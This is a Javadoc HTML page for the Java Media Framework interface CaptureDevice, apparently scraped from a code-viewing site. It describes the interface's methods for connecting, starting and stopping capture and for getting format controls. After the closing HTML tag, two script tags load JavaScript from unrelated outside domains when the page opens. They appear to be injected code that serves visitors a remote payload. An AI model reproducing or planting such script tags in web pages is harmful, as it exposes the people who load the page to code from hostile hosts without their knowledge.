📄 capturedevice.html
字号:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Frameset//EN""http://www.w3.org/TR/REC-html40/frameset.dtd"><!--NewPage--><HTML><HEAD><!-- Generated by javadoc on Sat May 20 18:57:53 PDT 2000 --><TITLE>: Interface CaptureDevice</TITLE><LINK REL ="stylesheet" TYPE="text/css" HREF="../../../stylesheet.css" TITLE="Style"></HEAD><BODY BGCOLOR="white"><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_top"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_top_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3"> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A> </TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A> </TD> </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../javax/media/protocol/CachedStream.html"><B>PREV CLASS</B></A> <A HREF="../../../javax/media/protocol/Controls.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../index.html" TARGET="_top"><B>FRAMES</B></A> <A HREF="CaptureDevice.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY: INNER | FIELD | CONSTR | <A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: FIELD | CONSTR | <A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><!-- ======== START OF CLASS DATA ======== --><H2><FONT SIZE="-1">javax.media.protocol</FONT><BR>Interface CaptureDevice</H2><HR><DL><DT>public interface <B>CaptureDevice</B></DL><P><code>CaptureDevice</code> is the interface for all capture devices. <p> A capture device is a <code>DataSource</code> of the type <code>PullDataSource</code>, <code>PullBufferDataSource</code>, <code>PushDataSource</code> or <code>PushBufferDataSource</code>. It also implements the <code>CaptureDevice</code> interface which further specializes the <code>DataSource</code> to handle data capturing. <p> A capture <code>DataSource</code> contains an array of <code>SourceStream<code>'s. These <code>SourceStreams</code> provide the interface for the captured data streams to be read. <p> The formats of the captured data can be manipulated by the <code>FormatControl</code> objects. There is one <code>FormatControl</code> per each capture stream. These controls can be obtained by the <code>getFormatControls</code> method. <p> A few methods from the <code>DataSource</code> are re-defined to support semantics of capture devices.<P><DL><DT><B>Since: </B><DD>JMF 2.0</DD><DT><B>See Also: </B><DD><A HREF="../../../javax/media/protocol/DataSource.html"><CODE>DataSource</CODE></A>, <A HREF="../../../javax/media/protocol/SourceStream.html"><CODE>SourceStream</CODE></A>, <A HREF="../../../javax/media/control/FormatControl.html"><CODE>FormatControl</CODE></A></DL><HR><P><!-- ======== INNER CLASS SUMMARY ======== --><!-- =========== FIELD SUMMARY =========== --><!-- ======== CONSTRUCTOR SUMMARY ======== --><!-- ========== METHOD SUMMARY =========== --><A NAME="method_summary"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=2><FONT SIZE="+2"><B>Method Summary</B></FONT></TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE> void</CODE></FONT></TD><TD><CODE><B><A HREF="../../../javax/media/protocol/CaptureDevice.html#connect()">connect</A></B>()</CODE><BR> Initialize the capture device.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE> void</CODE></FONT></TD><TD><CODE><B><A HREF="../../../javax/media/protocol/CaptureDevice.html#disconnect()">disconnect</A></B>()</CODE><BR> Close the capture device.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE> <A HREF="../../../javax/media/CaptureDeviceInfo.html">CaptureDeviceInfo</A></CODE></FONT></TD><TD><CODE><B><A HREF="../../../javax/media/protocol/CaptureDevice.html#getCaptureDeviceInfo()">getCaptureDeviceInfo</A></B>()</CODE><BR> Return the <code>CaptureDeviceInfo</code> object that describes this device.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE> <A HREF="../../../javax/media/control/FormatControl.html">FormatControl</A>[]</CODE></FONT></TD><TD><CODE><B><A HREF="../../../javax/media/protocol/CaptureDevice.html#getFormatControls()">getFormatControls</A></B>()</CODE><BR> Returns an array of <code>FormatControl</code> objects.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE> void</CODE></FONT></TD><TD><CODE><B><A HREF="../../../javax/media/protocol/CaptureDevice.html#start()">start</A></B>()</CODE><BR> Start the data capture.</TD></TR><TR BGCOLOR="white" CLASS="TableRowColor"><TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"><CODE> void</CODE></FONT></TD><TD><CODE><B><A HREF="../../../javax/media/protocol/CaptureDevice.html#stop()">stop</A></B>()</CODE><BR> Stop the data capture.</TD></TR></TABLE> <P><!-- ============ FIELD DETAIL =========== --><!-- ========= CONSTRUCTOR DETAIL ======== --><!-- ============ METHOD DETAIL ========== --><A NAME="method_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Method Detail</B></FONT></TD></TR></TABLE><A NAME="getCaptureDeviceInfo()"><!-- --></A><H3>getCaptureDeviceInfo</H3><PRE>public <A HREF="../../../javax/media/CaptureDeviceInfo.html">CaptureDeviceInfo</A> <B>getCaptureDeviceInfo</B>()</PRE><DL><DD>Return the <code>CaptureDeviceInfo</code> object that describes this device.<DD><DL><DT><B>Returns:</B><DD>The <code>CaptureDeviceInfo</code> object that describes this device.</DL></DD></DL><HR><A NAME="getFormatControls()"><!-- --></A><H3>getFormatControls</H3><PRE>public <A HREF="../../../javax/media/control/FormatControl.html">FormatControl</A>[] <B>getFormatControls</B>()</PRE><DL><DD>Returns an array of <code>FormatControl</code> objects. Each of them can be used to set and get the format of each capture stream. This method can be used before connect to set and get the capture formats.<DD><DL><DT><B>Returns:</B><DD>an array for FormatControls.</DL></DD></DL><HR><A NAME="connect()"><!-- --></A><H3>connect</H3><PRE>public void <B>connect</B>() throws java.io.IOException</PRE><DL><DD>Initialize the capture device. The device will be initialized to the formats specified by using the <code>FormatControl</code>. The default will be used if no formats were specified. <p> After connect, the resources required by the device will be allocated. If the device is an exclusive device, connect from other capture <code>DataSource</code>'s referring to the same device will fail.<DD><DL><DT><B>Throws:</B><DD>java.io.IOException - Thrown if there are IO problems when <CODE>connect</CODE> is called.</DL></DD></DL><HR><A NAME="disconnect()"><!-- --></A><H3>disconnect</H3><PRE>public void <B>disconnect</B>()</PRE><DL><DD>Close the capture device. It frees the resources held by the device. <p> If <CODE>stop</CODE> hasn't already been called, calling <CODE>disconnect</CODE> implies a stop. <code>connect</code> may be called again to re-open the device.</DL><HR><A NAME="start()"><!-- --></A><H3>start</H3><PRE>public void <B>start</B>() throws java.io.IOException</PRE><DL><DD>Start the data capture.</DL><HR><A NAME="stop()"><!-- --></A><H3>stop</H3><PRE>public void <B>stop</B>() throws java.io.IOException</PRE><DL><DD>Stop the data capture.</DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3"> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A> </TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A> </TD> </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../javax/media/protocol/CachedStream.html"><B>PREV CLASS</B></A> <A HREF="../../../javax/media/protocol/Controls.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../index.html" TARGET="_top"><B>FRAMES</B></A> <A HREF="CaptureDevice.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY: INNER | FIELD | CONSTR | <A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: FIELD | CONSTR | <A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1"> <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a> <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road, Palo Alto, California, 94303, U.S.A. All Rights Reserved. See the <a href="spec-license.html">Specification License</a> for more details. <br>Sun, Sun Microsystems, and Java are trademarks or registered trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -